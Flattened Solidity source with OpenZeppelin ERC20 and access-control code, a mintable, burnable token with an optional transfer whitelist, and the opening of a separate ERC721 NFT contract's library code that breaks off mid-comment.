* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/openzeppelin/erc20/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File contracts/openzeppelin/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File contracts/openzeppelin/erc20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File contracts/openzeppelin/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File contracts/openzeppelin/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File contracts/openzeppelin/AccessControl.sol
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping (address => bool) members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override {
require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override {
require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File contracts/Token.sol
pragma solidity 0.8.1;
contract Token is Initializable, ERC20, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant WHITELIST_ROLE = keccak256("WHITELIST_ROLE");
bool public onlyWhitelist;
constructor() {}
function initialize(string memory name, string memory symbol, uint8 decimals, address owner, bool whitelistState) public initializer {
require(owner != address(0), "No Owner");
_name = name;
_symbol = symbol;
_decimals = decimals;
onlyWhitelist = whitelistState;
_setupRole(DEFAULT_ADMIN_ROLE, owner);
_setupRole(MINTER_ROLE, owner);
_setupRole(WHITELIST_ROLE, owner);
_setupRole(WHITELIST_ROLE, address(0));
}
function mint(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "NO MINTER_ROLE");
_mint(to, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
// Can only transfer to whitelisted users if in onlyWhitelist mode
if (onlyWhitelist == true) {
require(hasRole(WHITELIST_ROLE, to), "NO WHITELIST_ROLE");
require(hasRole(WHITELIST_ROLE, from), "NO WHITELIST_ROLE");
}
super._beforeTokenTransfer(from, to, amount);
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), currentAllowance - amount);
_burn(account, amount);
}
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/**
*Submitted for verification at Etherscan.io on 2022-03-02
*/
// SPDX-License-Identifier: MIT
// File: KevFellaz_flat.sol
// File: contracts/KevFellaz.sol
/**
*Submitted for verification at Etherscan.io on 2022-03-01
*/
// File: contracts/Sybermon789.sol
/**
*Submitted for verification at Etherscan.io on 2022-03-01
*/
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
